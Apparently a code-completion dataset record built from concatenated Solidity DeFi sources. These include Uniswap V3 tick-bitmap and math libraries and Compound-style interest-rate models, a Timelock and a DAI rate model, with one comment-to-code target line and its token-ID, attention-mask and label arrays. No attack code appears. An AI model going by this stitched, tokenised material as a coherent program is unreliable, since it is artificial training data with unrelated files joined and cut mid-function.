% tickSpacing == 0); // ensure that the tick is spaced (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing); uint256 mask = 1 << bitPos; self[wordPos] ^= mask; } /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either /// to the left (less than or equal to) or right (greater than) of the given tick /// @param self The mapping in which to compute the next initialized tick /// @param tick The starting tick /// @param tickSpacing The spacing between usable ticks /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick) /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks function nextInitializedTickWithinOneWord( IUniswapV3Pool self, int24 tick, int24 tickSpacing, bool lte ) internal view returns (int24 next, bool initialized) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity if (lte) { (int16 wordPos, uint8 bitPos) = position(compressed); // all the 1s at or to the right of the current bitPos uint256 mask = (1 << bitPos) - 1 + (1 << bitPos); uint256 masked = self.tickBitmap(wordPos) & mask; // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word initialized = masked != 0; // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick next = initialized ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing : (compressed - int24(bitPos)) * tickSpacing; } else { // start from the word of the next tick, since the current tick state doesn't matter (int16 wordPos, uint8 bitPos) = position(compressed + 1); // all the 1s at or to the left of the bitPos uint256 mask = ~((1 << bitPos) - 1); uint256 masked = self.tickBitmap(wordPos) & mask; // if there are no initialized ticks to the left of the current tick, return leftmost in the word initialized = masked != 0; // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick next = initialized ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title BitMath /// @dev This library provides functionality for computing bit properties of an unsigned integer library BitMath { /// @notice Returns the index of the most significant bit of the number, /// where the least significant bit is at index 0 and the most significant bit is at index 255 /// @dev The function satisfies the property: /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1) /// @param x the value for which to compute the most significant bit, must be greater than 0 /// @return r the index of the most significant bit function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } /// @notice Returns the index of the least significant bit of the number, /// where the least significant bit is at index 0 and the most significant bit is at index 255 /// @dev The function satisfies the property: /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0) /// @param x the value for which to compute the least significant bit, must be greater than 0 /// @return r the index of the least significant bit function leastSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0); r = 255; if (x & type(uint128).max > 0) { r -= 128; } else { x >>= 128; } if (x & type(uint64).max > 0) { r -= 64; } else { x >>= 64; } if (x & type(uint32).max > 0) { r -= 32; } else { x >>= 32; } if (x & type(uint16).max > 0) { r -= 16; } else { x >>= 16; } if (x & type(uint8).max > 0) { r -= 8; } else { x >>= 8; } if (x & 0xf > 0) { r -= 4; } else { x >>= 4; } if (x & 0x3 > 0) { r -= 2; } else { x >>= 2; } if (x & 0x1 > 0) r -= 1; } }
Contract balance of tokens after swap (without user amount of eth).
(contractAmount0, contractAmount1) = _getBalances(userMsgValue);
115,316
[ 1, 8924, 11013, 434, 2430, 1839, 7720, 261, 13299, 729, 3844, 434, 13750, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 261, 16351, 6275, 20, 16, 6835, 6275, 21, 13, 273, 389, 588, 38, 26488, 12, 1355, 3332, 620, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMath.sol"; /** * @title Logic for Compound's JumpRateModel Contract V2. * @author Compound (modified by Dharma Labs, refactored by Arr00) * @notice Version 2 modifies Version 1 by enabling updateable parameters. */ abstract contract BaseJumpRateModelV2 { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly */ address public owner; /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) internal { owner = owner_; updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock) * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external virtual { require(msg.sender == owner, "only the owner may call this function."); updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRateInternal(uint cash, uint borrows, uint reserves) internal view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view virtual returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } /** * @notice Internal function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_)); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./BaseJumpRateModelV2.sol"; import "./InterestRateModel.sol"; /** * @title Compound's JumpRateModel Contract V2 for V2 cTokens * @author Arr00 * @notice Supports only for V2 cTokens */ contract JumpRateModelV2 is InterestRateModel, BaseJumpRateModelV2 { /** * @notice Calculates the current borrow rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view override returns (uint) { return getBorrowRateInternal(cash, borrows, reserves); } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view virtual override(InterestRateModel, BaseJumpRateModelV2) returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) BaseJumpRateModelV2(baseRatePerYear,multiplierPerYear,jumpMultiplierPerYear,kink_,owner_) public {} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Compound's InterestRateModel Interface * @author Compound */ abstract contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./InterestRateModel.sol"; import "./SafeMath.sol"; /** * @title Compound's JumpRateModel Contract * @author Compound */ contract JumpRateModel is InterestRateModel { using SafeMath for uint; event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink); /** * @notice The approximate number of blocks per year that is assumed by the interest rate model */ uint public constant blocksPerYear = 2102400; /** * @notice The multiplier of utilization rate that gives the slope of the interest rate */ uint public multiplierPerBlock; /** * @notice The base interest rate which is the y-intercept when utilization rate is 0 */ uint public baseRatePerBlock; /** * @notice The multiplierPerBlock after hitting a specified utilization point */ uint public jumpMultiplierPerBlock; /** * @notice The utilization point at which the jump multiplier is applied */ uint public kink; /** * @notice Construct an interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = multiplierPerYear.div(blocksPerYear); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) public view override returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view override returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRate(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } fallback() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./JumpRateModelV2.sol"; import "./SafeMath.sol"; /** * @title Compound's DAIInterestRateModel Contract (version 3) * @author Compound (modified by Dharma Labs) * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper. * Version 3 modifies the interest rate model in Version 2 by increasing the initial "gap" or slope of * the model prior to the "kink" from 2% to 4%, and enabling updateable parameters. */ contract DAIInterestRateModelV3 is JumpRateModelV2 { using SafeMath for uint; /** * @notice The additional margin per block separating the base borrow rate from the roof. */ uint public gapPerBlock; /** * @notice The assumed (1 - reserve factor) used to calculate the minimum borrow rate (reserve factor = 0.05) */ uint public constant assumedOneMinusReserveFactorMantissa = 0.95e18; PotLike pot; JugLike jug; /** * @notice Construct an interest rate model * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param pot_ The address of the Dai pot (where DSR is earned) * @param jug_ The address of the Dai jug (where SF is kept) * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint jumpMultiplierPerYear, uint kink_, address pot_, address jug_, address owner_) JumpRateModelV2(0, 0, jumpMultiplierPerYear, kink_, owner_) public { gapPerBlock = 4e16 / blocksPerYear; pot = PotLike(pot_); jug = JugLike(jug_); poke(); } /** * @notice External function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18). For DAI, this is calculated from DSR and SF. Input not used. * @param gapPerYear The Additional margin per year separating the base borrow rate from the roof. (scaled by 1e18) * @param jumpMultiplierPerYear The jumpMultiplierPerYear after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint gapPerYear, uint jumpMultiplierPerYear, uint kink_) external override { require(msg.sender == owner, "only the owner may call this function."); gapPerBlock = gapPerYear / blocksPerYear; updateJumpRateModelInternal(0, 0, jumpMultiplierPerYear, kink_); poke(); } /** * @notice Calculates the current supply interest rate per block including the Dai savings rate * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view override returns (uint) { uint protocolRate = super.getSupplyRate(cash, borrows, reserves, reserveFactorMantissa); uint underlying = cash.add(borrows).sub(reserves); if (underlying == 0) { return protocolRate; } else { uint cashRate = cash.mul(dsrPerBlock()).div(underlying); return cashRate.add(protocolRate); } } /** * @notice Calculates the Dai savings rate per block * @return The Dai savings rate per block (as a percentage, and scaled by 1e18) */ function 